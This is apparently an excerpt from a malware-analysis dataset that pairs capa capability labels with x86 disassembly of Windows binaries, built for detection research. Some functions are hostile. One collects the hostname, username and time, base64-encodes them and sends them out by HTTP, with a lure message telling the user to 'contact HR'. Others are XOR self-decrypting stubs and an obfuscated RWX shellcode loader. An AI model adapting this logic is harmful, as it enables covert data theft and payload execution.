joyce8/EMBER2024-capa huggingface dataset:
Function at 0x401635
Capabilities:
Execute command

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x428
mov eax, dword [ebp + 8]
mov dword [esp + 0xc], eax
mov dword [esp + 8], str.curl__X_GET___s_
mov dword [esp + 4], 0x400
lea eax, [ebp - 0x40c]
mov dword [esp], eax
call sym.___mingw_snprintf
lea eax, [ebp - 0x40c]
mov dword [esp], eax
call sym._system
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0
jne 0x40168f
mov eax, dword [ebp + 8]
mov dword [esp + 4], eax
mov dword [esp], str.HTTP_GET_request_to:__s_n
call sym._printf
jmp 0x4016a2
mov eax, dword [ebp + 8]
mov dword [esp + 4], eax
mov dword [esp], str.HTTP_GET_request_to__s_failed_n
call sym._printf
mov eax, dword [ebp - 0xc]
leave
ret

Function at 0x4016a7
Capabilities:
Query environment variable

Disassembly:
lea ecx, [esp + 4]
and esp, 0xfffffff0
push dword [ecx - 4]
push ebp
mov ebp, esp
push esi
push ebx
push ecx
sub esp, 0x85c
call sym.___main
mov eax, esp
mov esi, eax
mov dword [esp], str.COMPUTERNAME
call sym._getenv
mov dword [ebp - 0x20], eax
cmp dword [ebp - 0x20], 0
jne 0x4016f1
mov dword [esp], str.Error_getting_hostname
call sym._perror
mov eax, 1
jmp 0x401846
mov dword [esp], str.USERNAME
call sym._getenv
mov dword [ebp - 0x24], eax
cmp dword [ebp - 0x24], 0
jne 0x40171c
mov dword [esp], str.Error_getting_username
call sym._perror
mov eax, 1
jmp 0x401846
lea eax, [ebp - 0x3c]
mov dword [esp], eax
call sym._time
lea eax, [ebp - 0x3c]
mov dword [esp], eax
call sym._localtime
mov dword [ebp - 0x28], eax
mov eax, dword [ebp - 0x28]
mov dword [esp], eax
call sym._asctime
mov dword [ebp - 0x2c], eax
mov eax, dword [ebp - 0x2c]
mov dword [esp + 0x14], eax
mov eax, dword [ebp - 0x24]
mov dword [esp + 0x10], eax
mov eax, dword [ebp - 0x20]
mov dword [esp + 0xc], eax
mov dword [esp + 8], str.Hostname:__s__Username:__s__Current_time:__s
mov dword [esp + 4], 0x400
lea eax, [ebp - 0x43c]
mov dword [esp], eax
call sym.___mingw_snprintf
mov dword [ebp - 0x30], 0x559
mov eax, dword [ebp - 0x30]
lea edx, [eax - 1]
mov dword [ebp - 0x34], edx
mov edx, eax
mov eax, 0x10
sub eax, 1
add eax, edx
mov ecx, 0x10
mov edx, 0
div ecx
imul eax, eax, 0x10
call fcn.004023e0
sub esp, eax
lea eax, [esp + 0x18]
add eax, 0
mov dword [ebp - 0x38], eax
mov ebx, dword [ebp - 0x38]
lea eax, [ebp - 0x43c]
mov dword [esp], eax
call sym._strlen
mov dword [esp + 8], ebx
mov dword [esp + 4], eax
lea eax, [ebp - 0x43c]
mov dword [esp], eax
call sym._o_b27fc96420a319521be8484b58211143
mov eax, dword [ebp - 0x38]
mov dword [esp + 0xc], eax
mov dword [esp + 8], str.https:__google.com_file_base64_output_s
mov dword [esp + 4], 0x400
lea eax, [ebp - 0x83c]
mov dword [esp], eax
call sym.___mingw_snprintf
mov dword [ebp - 0x1c], 0
jmp 0x401829
lea eax, [ebp - 0x83c]
mov dword [esp], eax
call sym._o_78c99f4159dd5895def2c9e89cae0696
test eax, eax
je 0x40182f
add dword [ebp - 0x1c], 1
mov dword [esp], 1
call sym._sleep
cmp dword [ebp - 0x1c], 2
jle 0x401807
cmp dword [ebp - 0x1c], 3
jne 0x401841
mov dword [esp], str.Maximum_number_of_retries_reached._Installation_failed_contact_HR
call sym._puts
mov eax, 0
mov esp, esi
lea esp, [ebp - 0xc]
pop ecx
pop ebx
pop esi
pop ebp
lea esp, [ecx - 4]
ret
Function at 0x401ea0
Capabilities:
Get thread local storage value

Disassembly:
push esi
push ebx
sub esp, 0x14
mov dword [esp], 0x40e044
call sym._EnterCriticalSection_4
mov ebx, dword [0x40e03c]
sub esp, 4
test ebx, ebx
je 0x401eeb
nop
mov eax, dword [ebx]
mov dword [esp], eax
call sym._TlsGetValue_4
sub esp, 4
mov esi, eax
call sym._GetLastError_0
test eax, eax
jne 0x401ee4
test esi, esi
je 0x401ee4
mov eax, dword [ebx + 4]
mov dword [esp], esi
call eax
mov ebx, dword [ebx + 8]
test ebx, ebx
jne 0x401ec0
mov dword [esp], 0x40e044
call sym._LeaveCriticalSection_4
sub esp, 4
add esp, 0x14
pop ebx
pop esi
ret

Function at 0x4020d0
Capabilities:
Write file on windows

Disassembly:
push esi
push ebx
sub esp, 0x14
mov eax, dword [sym.imp.msvcrt.dll__iob]
mov dword [esp + 8], 0x17
mov dword [esp + 4], 1
lea esi, [esp + 0x24]
mov dword [esp], str.Mingw_runtime_failure:_n
lea ebx, [eax + 0x40]
mov dword [esp + 0xc], ebx
call sym._fwrite
mov eax, dword [esp + 0x20]
mov dword [esp + 8], esi
mov dword [esp], ebx
mov dword [esp + 4], eax
call sym._vfprintf
call sym._abort
lea esi, [esi]

Function at 0x402120
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
push edi
mov edi, ecx
push esi
push ebx
mov ebx, eax
mov esi, edx
sub esp, 0x4c
lea eax, [esp + 0x24]
mov dword [esp + 8], 0x1c
mov dword [esp], ebx
mov dword [esp + 4], eax
call sym._VirtualQuery_12
sub esp, 0xc
test eax, eax
je 0x4021f8
mov eax, dword [esp + 0x38]
cmp eax, 0x40
je 0x40215e
cmp eax, 4
jne 0x402180
mov dword [esp + 8], edi
mov dword [esp + 4], esi
mov dword [esp], ebx
call sym._memcpy
add esp, 0x4c
pop ebx
pop esi
pop edi
pop ebp
ret
mov eax, dword [esp + 0x30]
lea ebp, [esp + 0x20]
mov dword [esp + 8], 0x40
mov dword [esp + 0xc], ebp
mov dword [esp + 4], eax
mov eax, dword [esp + 0x24]
mov dword [esp], eax
call sym._VirtualProtect_16
sub esp, 0x10
mov edx, dword [esp + 0x38]
mov dword [esp + 8], edi
mov dword [esp + 4], esi
mov dword [esp], ebx
mov dword [esp + 0x1c], edx
call sym._memcpy
mov edx, dword [esp + 0x1c]
cmp edx, 0x40
je 0x40216e
cmp edx, 4
je 0x40216e
mov eax, dword [esp + 0x20]
mov dword [esp + 0xc], ebp
mov dword [esp + 8], eax
mov eax, dword [esp + 0x30]
mov dword [esp + 4], eax
mov eax, dword [esp + 0x24]
mov dword [esp], eax
call sym._VirtualProtect_16
sub esp, 0x10
add esp, 0x4c
pop ebx
pop esi
pop edi
pop ebp
ret
mov dword [esp + 8], ebx
mov dword [esp + 4], 0x1c
mov dword [esp], str.__VirtualQuery_failed_for__d_bytes_at_address__p
call fcn.004020d0
Function at 0x403d61
Capabilities:
Encode data using xor

Disassembly:
push eax
push ebx
mov eax, 0x499
mov ecx, 0x404498
mov bl, byte [ecx]
sub bl, 0xf2
rol bl, 2
sub bl, cl
ror bl, 1
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d6d
mov eax, 0x261d
mov ecx, 0x403764
mov bl, byte [ecx]
rol bl, 7
ror bl, 2
sub bl, cl
xor bl, 0x91
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d8a
pop ebx
pop eax
add ecx, 0x2c1a
jmp ecx

Function at 0x438c95
Capabilities:
Encode data using xor

Disassembly:
push 0x438a14
pop ebx
mov edi, 0xe3048b78
or edi, edi
or edi, ecx
call fcn.00438cce
dec edi
xor dword [edx], ebx
and ecx, edi
inc ecx
inc edx
add edi, 0x32c6ad19
cmp edx, eax
jne fcn.00438c95
add edi, edi
mov edi, 0x6a18c0d8
sub edi, edi
ret
Function at 0x40e7b4
Capabilities:
Hash data using sha1

Disassembly:
mov eax, dword [esp + 4]
and dword [eax + 0x18], 0
and dword [eax + 0x14], 0
mov dword [eax], 0x67452301
mov dword [eax + 4], 0xefcdab89
mov dword [eax + 8], 0x98badcfe
mov dword [eax + 0xc], 0x10325476
mov dword [eax + 0x10], 0xc3d2e1f0
ret 4

Function at 0x412857
Capabilities:
Get common file path

Disassembly:
push dword [esp + 4]
push dword [esp + 0xc]
call dword [sym.imp.KERNEL32.dll_GetCurrentDirectoryW]
neg eax
sbb eax, eax
neg eax
ret 8

Function at 0x403d61
Capabilities:
Encode data using xor

Disassembly:
push eax
push ebx
mov eax, 0x499
mov ecx, 0x404498
mov bl, byte [ecx]
sub bl, 0xf2
rol bl, 2
sub bl, cl
ror bl, 1
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d6d
mov eax, 0x261d
mov ecx, 0x403764
mov bl, byte [ecx]
rol bl, 7
ror bl, 2
sub bl, cl
xor bl, 0x91
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d8a
pop ebx
pop eax
add ecx, 0x2c1a
jmp ecx
Function at 0x100049cb
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x28
pushal
call 0x100049da
pop dword [ebp - 0x18]
mov eax, 0xb05209e3
add eax, 0x5fae3ff7
sub dword [ebp - 0x18], eax
mov dword [ebp - 0x28], 0xd3164a17
add dword [ebp - 0x28], 0x7b3bfb34
mov dword [ebp - 0x24], 0x85e2c02
sub dword [ebp - 0x24], 0xd62adfbd
mov dword [ebp - 0x20], 0x84f5626a
add dword [ebp - 0x20], 0xc756e1c4
mov dword [ebp - 0x1c], 0x3071672
add dword [ebp - 0x1c], 0xfcf8e98e
lea eax, [ebp - 0x28]
push eax
mov eax, 0xf78b2827
sub eax, 0xe78b17eb
add eax, dword [ebp - 0x18]
call dword [eax]
mov dword [ebp - 0x28], 0x4bd7ec53
add dword [ebp - 0x28], 0x289a7d03
mov dword [ebp - 0x24], 0xcf62e1db
sub dword [ebp - 0x24], 0x8df68066
mov dword [ebp - 0x20], 0x58c4339e
sub dword [ebp - 0x20], 0xf554c732
mov dword [ebp - 0x1c], 0x1d11ae0f
sub dword [ebp - 0x1c], 0x1d11ae0f
lea ebx, [ebp - 0x28]
push ebx
push eax
mov eax, sym.imp.kernel32.dll_GetProcAddress
add eax, dword [ebp - 0x18]
call dword [eax]
push 0x40
push 0x1000
push 0x3c1f1
push 0
call eax
mov ecx, 0x575f
mov edi, eax
mov edx, 0x10012000
add edx, dword [ebp - 0x18]
mov esi, 0x2f5df58d
sub esi, 0x9218afb3
sub dword [ebp - 0xc], ebx
mov ebx, dword [edx]
add dword [ebp - 8], 0x70502bc5
add ebx, esi
mov dword [edi], ebx
xor dword [ebp - 0x10], 0xd9787d9f
add edi, 0xc0008cb8
sub edi, 0xc0008cb4
add edx, 0x91c0f55e
add edx, 0x6e3f0aa6
loop 0x10004aeb
add eax, 0x1504f
mov ebx, eax
add eax, 0x58f538dd
add eax, 0xa70ac728
mov ecx, 0x20c0738a
add ecx, 0xef3f8c76
add ecx, dword [ebp - 0x18]
call ebx
leave
ret
Function at 0x10007803
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push 0x428
mov eax, 0x1000ba37
call fcn.1000ad64
mov eax, dword [ebp + 0xc]
mov edi, dword [ebp + 8]
mov dword [ebp - 0x420], eax
mov eax, dword [ebp + 0x10]
xor ebx, ebx
mov dword [ebp - 0x424], eax
mov dword [ebp - 0x428], ebx
mov dword [ebp - 4], ebx
mov dword [ebp - 0x42c], ecx
mov dword [ebp - 0x430], ebx
mov dword [ebp - 0x418], ebx
mov byte [ebp - 4], 1
test edi, edi
je 0x100079d7
push edi
call dword [sym.imp.kernel32.dll_lstrlenW]
inc eax
push 2
push eax
mov dword [ebp - 0x41c], eax
lea eax, [ebp - 0x41c]
push eax
call fcn.100049cb
add esp, 0xc
test eax, eax
js 0x100079d1
mov esi, dword [ebp - 0x41c]
cmp esi, 0x400
jg 0x1000789f
push esi
call fcn.1000415a
pop ecx
test al, al
je 0x1000789f
mov eax, esi
call fcn.1000b08f
mov dword [ebp - 0x10], esp
mov eax, esp
jmp 0x100078ab
push esi
lea ecx, [ebp - 0x428]
call fcn.100049cb
push 3
push esi
push edi
push eax
call fcn.100049cb
test eax, eax
je 0x100079d1
push 2
push ebx
push eax
call dword [sym.imp.kernel32.dll_LoadLibraryExA]
mov edi, eax
mov dword [ebp - 0x41c], edi
test edi, edi
jne 0x100078df
call fcn.1000436e
mov esi, eax
jmp 0x100079b6
push dword [ebp - 0x424]
push dword [ebp - 0x420]
push edi
call dword [sym.imp.kernel32.dll_FindResourceA]
mov esi, eax
test esi, esi
jne 0x10007902
call fcn.1000436e
jmp 0x100079ad
push esi
push edi
call dword [sym.imp.kernel32.dll_LoadResource]
mov dword [ebp - 0x424], eax
test eax, eax
je 0x100078f8
push esi
push edi
call dword [sym.imp.kernel32.dll_SizeofResource]
mov esi, eax
lea eax, [esi + 1]
mov dword [ebp - 0x420], esi
cmp eax, esi
jae 0x10007932
mov esi, 0x8007000e
jmp 0x100079af
push eax
lea ecx, [ebp - 0x418]
mov byte [ebp - 4], 2
call fcn.100049cb
mov dword [ebp - 4], 1
jmp 0x10007971
cmp dword [ebp - 0x418], 0
je 0x1000792b
push esi
push dword [ebp - 0x424]
push esi
push dword [ebp - 0x418]
call fcn.100049cb
mov eax, dword [ebp - 0x418]
add esp, 0x10
push dword [ebp + 0x14]
mov byte [eax + esi], bl
push dword [ebp - 0x418]
lea ecx, [ebp - 0x430]
call fcn.100049cb
mov esi, eax
push edi
call dword [sym.imp.kernel32.dll_FreeLibrary]
lea eax, [ebp - 0x414]
cmp dword [ebp - 0x418], eax
je 0x100079f1
lea ecx, [ebp - 0x418]
call fcn.10007ab8
jmp 0x100079f1
mov ebx, dword [ebp - 0x418]
lea eax, [ebp - 0x414]
cmp ebx, eax
je 0x100079ec
lea ecx, [ebp - 0x418]
call fcn.10007ab8
mov esi, 0x8007000e
lea ecx, [ebp - 0x428]
call fcn.10002e8b
mov eax, esi
lea esp, [ebp - 0x444]
call fcn.1000adbd
ret 0x10
Function at 0x10009a20
Capabilities:
Access peb ldr_data

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x1004b2bd
mov eax, dword fs:[0]
push eax
sub esp, 0x1c
push ebx
push esi
push edi
mov eax, dword [0x10080280]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov esi, ecx
push 8
mov dword [esi + 0x30], 0
mov dword [esi + 8], 0
mov dword [esi + 0x10], 0
mov dword [esi + 0x14], 0x201
mov dword [esi + 0x18], 6
mov dword [esi + 0x1c], 0
mov dword [esi + 0x20], 0
mov dword [esi + 0x24], 0
mov dword [esi + 0x28], 0
mov dword [esi + 0x2c], 0
mov dword [esi + 0xc], 0
call fcn.100267ad
mov edi, eax
add esp, 4
test edi, edi
je 0x10009ac4
xorps xmm0, xmm0
movq qword [edi], xmm0
push 1
mov dword [ebp - 4], 0
call fcn.10025277
add esp, 4
mov dword [edi + 4], eax
jmp 0x10009ac6
xor edi, edi
mov eax, dword [ebp + 8]
mov dword [esi + 0x30], edi
mov dword [esi + 0x38], eax
mov dword [esi + 0x3c], 0
mov ecx, dword [edi + 4]
mov dword [ebp - 0x10], ecx
mov eax, dword [ecx]
call dword [eax + 4]
lea eax, [ebp - 0x14]
mov dword [ebp - 4], 1
push eax
call fcn.10004360
add esp, 4
mov ecx, dword [eax]
push 0x20
mov edx, dword [ecx + 0x20]
mov ecx, eax
call edx
mov ecx, dword [ebp - 0x10]
mov bl, al
mov dword [ebp - 4], 0xffffffff
test ecx, ecx
je 0x10009b20
mov edx, dword [ecx]
call dword [edx + 8]
test eax, eax
je 0x10009b20
mov edx, dword [eax]
mov ecx, eax
push 1
call dword [edx]
cmp dword [esi + 0x38], 0
mov byte [esi + 0x40], bl
jne 0x10009b3c
mov eax, dword [esi + 0xc]
mov ecx, dword [esi + 0x10]
and eax, 0x13
or eax, 4
mov dword [esi + 0xc], eax
and ecx, eax
jne 0x10009b5f
cmp byte [ebp + 0xc], 0
je 0x10009b4b
push esi
call fcn.100257dc
add esp, 4
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 8
test cl, 4
je 0x10009b6b
mov esi, str.ios_base::badbit_set
jmp 0x10009b7b
test cl, 2
mov esi, str.ios_base::failbit_set
mov eax, str.ios_base::eofbit_set
cmove esi, eax
lea eax, [ebp - 0x14]
push 1
push eax
call fcn.10009bb0
add esp, 8
lea ecx, [ebp - 0x28]
push eax
push esi
call fcn.100051c0
push 0x1007ba30
lea eax, [ebp - 0x28]
push eax
call fcn.10027dd8
int3
Function at 0x10015ce0
Capabilities:
Access peb ldr_data

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x1004c45c
mov eax, dword fs:[0]
push eax
sub esp, 0xc
push ebx
push esi
push edi
mov eax, dword [0x10080280]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov edi, ecx
mov dword [ebp - 0x10], edi
cmp dword [ebp + 8], 0
mov dword [ebp - 0x14], edi
mov dword [ebp - 0x10], 0
je 0x10015d39
lea ecx, [edi + 0x68]
mov dword [edi], 0x100705cc
call fcn.10015c60
mov dword [ebp - 4], 0
mov dword [ebp - 0x10], 1
mov eax, dword [edi]
lea esi, [edi + 4]
push 0
push esi
mov eax, dword [eax + 4]
mov dword [edi + eax], vtable.std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__.0
mov eax, dword [edi]
mov ecx, dword [eax + 4]
lea eax, [ecx - 8]
mov dword [ecx + edi - 4], eax
mov eax, dword [edi]
mov ecx, dword [eax + 4]
add ecx, edi
call fcn.10018680
mov eax, dword [edi]
push 8
mov dword [ebp - 4], 2
mov dword [ebp - 0x18], esi
mov eax, dword [eax + 4]
mov dword [edi + eax], vtable.std::basic_ofstream_wchar_t__struct_std::char_traits_wchar_t__.0
mov eax, dword [edi]
mov ecx, dword [eax + 4]
lea eax, [ecx - 0x68]
mov dword [ecx + edi - 4], eax
mov dword [esi], vtable.std::basic_streambuf_wchar_t__struct_std::char_traits_wchar_t__.0
mov dword [esi + 4], 0
mov dword [esi + 8], 0
mov dword [esi + 0xc], 0
mov dword [esi + 0x10], 0
mov dword [esi + 0x14], 0
mov dword [esi + 0x18], 0
mov dword [esi + 0x1c], 0
mov dword [esi + 0x20], 0
mov dword [esi + 0x24], 0
mov dword [esi + 0x28], 0
mov dword [esi + 0x2c], 0
mov dword [esi + 0x30], 0
call fcn.100267ad
mov ebx, eax
add esp, 4
test ebx, ebx
je 0x10015e09
xorps xmm0, xmm0
movq qword [ebx], xmm0
push 1
mov byte [ebp - 4], 3
call fcn.10025277
add esp, 4
mov dword [ebx + 4], eax
jmp 0x10015e0b
xor ebx, ebx
mov ecx, esi
mov dword [esi + 0x34], ebx
call fcn.10006620
lea eax, [esi + 4]
mov dword [esi], vtable.std::basic_filebuf_wchar_t__struct_std::char_traits_wchar_t__.0
mov dword [esi + 0xc], eax
lea ecx, [esi + 8]
mov byte [esi + 0x48], 0
lea eax, [esi + 0x24]
mov dword [esi + 0x2c], eax
lea edx, [esi + 0x14]
mov byte [esi + 0x3e], 0
lea eax, [esi + 0x28]
mov dword [esi + 0x30], eax
lea ebx, [esi + 0x18]
mov dword [esi + 0x10], ecx
mov dword [esi + 0x1c], edx
mov dword [esi + 0x20], ebx
mov dword [ecx], 0
mov dword [ebx], 0
mov dword [eax], 0
mov eax, edi
mov dword [esi + 4], 0
mov dword [edx], 0
mov dword [esi + 0x24], 0
mov dword [esi + 0x4c], 0
mov ecx, dword [0x10081860]
mov edx, dword [0x10081864]
mov dword [esi + 0x40], ecx
mov dword [esi + 0x44], edx
mov dword [esi + 0x38], 0
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4
Function at 0x10018680
Capabilities:
Access peb ldr_data

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x1004c76d
mov eax, dword fs:[0]
push eax
sub esp, 0x1c
push esi
push edi
mov eax, dword [0x10080280]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov esi, ecx
push 8
mov dword [esi + 0x30], 0
mov dword [esi + 8], 0
mov dword [esi + 0x10], 0
mov dword [esi + 0x14], 0x201
mov dword [esi + 0x18], 6
mov dword [esi + 0x1c], 0
mov dword [esi + 0x20], 0
mov dword [esi + 0x24], 0
mov dword [esi + 0x28], 0
mov dword [esi + 0x2c], 0
mov dword [esi + 0xc], 0
call fcn.100267ad
mov edi, eax
add esp, 4
test edi, edi
je 0x10018723
xorps xmm0, xmm0
movq qword [edi], xmm0
push 1
mov dword [ebp - 4], 0
call fcn.10025277
add esp, 4
mov dword [edi + 4], eax
jmp 0x10018725
xor edi, edi
mov eax, dword [ebp + 8]
mov dword [esi + 0x30], edi
mov dword [esi + 0x38], eax
mov dword [esi + 0x3c], 0
mov ecx, dword [edi + 4]
mov dword [ebp - 0x10], ecx
mov eax, dword [ecx]
call dword [eax + 4]
lea eax, [ebp - 0x14]
mov dword [ebp - 4], 1
push eax
call fcn.10013070
add esp, 4
mov ecx, dword [eax]
push 0x20
mov edx, dword [ecx + 0x30]
mov ecx, eax
call edx
mov ecx, dword [ebp - 0x10]
movzx edi, ax
mov dword [ebp - 4], 0xffffffff
test ecx, ecx
je 0x10018780
mov eax, dword [ecx]
call dword [eax + 8]
test eax, eax
je 0x10018780
mov edx, dword [eax]
mov ecx, eax
push 1
call dword [edx]
cmp dword [esi + 0x38], 0
mov word [esi + 0x40], di
jne 0x1001879d
mov eax, dword [esi + 0xc]
mov ecx, dword [esi + 0x10]
and eax, 0x13
or eax, 4
mov dword [esi + 0xc], eax
and ecx, eax
jne 0x100187bf
cmp byte [ebp + 0xc], 0
je 0x100187ac
push esi
call fcn.100257dc
add esp, 4
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov esp, ebp
pop ebp
ret 8
test cl, 4
je 0x100187cb
mov esi, str.ios_base::badbit_set
jmp 0x100187db
test cl, 2
mov esi, str.ios_base::failbit_set
mov eax, str.ios_base::eofbit_set
cmove esi, eax
lea eax, [ebp - 0x14]
push 1
push eax
call fcn.10009bb0
add esp, 8
lea ecx, [ebp - 0x28]
push eax
push esi
call fcn.100051c0
push 0x1007ba30
lea eax, [ebp - 0x28]
push eax
call fcn.10027dd8
int3
Function at 0x10018f60
Capabilities:
Print debug messages

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x1004c7cd
mov eax, dword fs:[0]
push eax
sub esp, 8
push ebx
push esi
push edi
mov eax, dword [0x10080280]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov edx, ecx
mov edi, dword [ebp + 0xc]
mov eax, edi
lea esi, [eax + 2]
mov cx, word [eax]
add eax, 2
test cx, cx
jne 0x10018f92
sub eax, esi
lea ecx, [edx + 0x134]
sar eax, 1
push eax
push edi
call fcn.100172f0
call fcn.10023b40
mov esi, eax
mov dword [ebp - 0x14], vtable.AutoLock.0
mov dword [ebp - 0x10], esi
lea ebx, [esi + 4]
push ebx
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov eax, dword [esi + 0x1c]
mov dword [ebp - 4], 0
test eax, eax
je 0x10018fdf
push edi
push 0xa
push dword [ebp + 8]
call eax
push ebx
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
push edi
call dword [sym.imp.KERNEL32.dll_OutputDebugStringW]
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 8
Function at 0x1001a8b0
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
mov eax, dword [ebp + 0x10]
push ebx
mov ebx, ecx
mov ecx, dword [ebp + 0xc]
push edi
mov edi, dword [ebp + 8]
mov dword [ebp - 4], edi
test eax, eax
jg 0x1001a8dc
jl 0x1001a8d0
test ecx, ecx
jne 0x1001a8dc
pop edi
xor eax, eax
xor edx, edx
pop ebx
mov esp, ebp
pop ebp
ret 0xc
cmp dword [ebx + 0x38], 0
push esi
je 0x1001a98e
mov dword [ebp - 8], ecx
mov dword [ebp - 4], eax
nop dword [eax]
mov ecx, ebx
call fcn.10006250
mov esi, eax
mov eax, edx
mov dword [ebp - 0xc], eax
test eax, eax
jl 0x1001a943
jg 0x1001a908
test esi, esi
je 0x1001a943
mov ecx, dword [ebp - 4]
cmp ecx, eax
jg 0x1001a91d
mov eax, dword [ebp - 8]
jl 0x1001a918
cmp eax, esi
jae 0x1001a91d
mov esi, eax
mov dword [ebp - 0xc], ecx
mov eax, dword [ebx + 0x1c]
push esi
push dword [eax]
push edi
call fcn.10028200
mov eax, dword [ebx + 0x2c]
add esp, 0xc
mov ecx, dword [ebp - 8]
mov edx, dword [ebp - 4]
sub ecx, esi
sbb edx, dword [ebp - 0xc]
sub dword [eax], esi
mov eax, dword [ebx + 0x1c]
add dword [eax], esi
jmp 0x1001a962
mov eax, dword [ebx]
mov ecx, ebx
call dword [eax + 0x1c]
mov edx, dword [ebp - 4]
cmp eax, 0xffffffff
je 0x1001a978
mov ecx, dword [ebp - 8]
mov esi, 1
add ecx, 0xffffffff
mov byte [edi], al
adc edx, 0xffffffff
add edi, esi
mov dword [ebp - 4], edx
mov dword [ebp - 8], ecx
test edx, edx
jg 0x1001a8f0
jl 0x1001a978
test ecx, ecx
jne 0x1001a8f0
mov eax, dword [ebp + 0xc]
sub eax, dword [ebp - 8]
mov esi, dword [ebp + 0x10]
sbb esi, edx
mov edx, esi
pop esi
pop edi
pop ebx
mov esp, ebp
pop ebp
ret 0xc
mov eax, dword [ebx + 0x1c]
lea esi, [ebx + 0x2c]
mov edi, ecx
mov edx, dword [eax]
test edx, edx
je 0x1001a9ca
mov eax, dword [esi]
mov eax, dword [eax]
test eax, eax
je 0x1001a9ca
cmp eax, ecx
mov esi, ecx
cmovb esi, eax
push esi
push edx
push dword [ebp - 4]
call fcn.10028200
mov eax, dword [ebx + 0x2c]
sub edi, esi
add dword [ebp - 4], esi
add esp, 0xc
sub dword [eax], esi
mov eax, dword [ebx + 0x1c]
add dword [eax], esi
lea esi, [ebx + 0x2c]
cmp dword [ebx + 0x4c], 0
je 0x1001aa37
mov ecx, dword [ebx + 0xc]
lea eax, [ebx + 0x3c]
cmp dword [ecx], eax
jne 0x1001a9f0
mov eax, dword [ebx + 0xc]
mov edx, dword [ebx + 0x54]
mov ecx, dword [ebx + 0x50]
sub edx, ecx
mov dword [eax], ecx
mov eax, dword [ebx + 0x1c]
mov dword [eax], ecx
mov eax, dword [esi]
mov dword [eax], edx
mov esi, dword [ebp - 4]
cmp edi, 0xfff
jbe 0x1001aa22
nop dword [eax + eax]
push dword [ebx + 0x4c]
push 0xfff
push 1
push esi
call fcn.10033303
add esp, 0x10
add esi, eax
sub edi, eax
cmp eax, 0xfff
jne 0x1001aa37
cmp edi, eax
ja 0x1001aa00
test edi, edi
je 0x1001aa37
push dword [ebx + 0x4c]
push edi
push 1
push esi
call fcn.10033303
add esp, 0x10
sub edi, eax
mov eax, dword [ebp + 0xc]
mov edx, dword [ebp + 0x10]
sub eax, edi
pop esi
pop edi
sbb edx, 0
pop ebx
mov esp, ebp
pop ebp
ret 0xc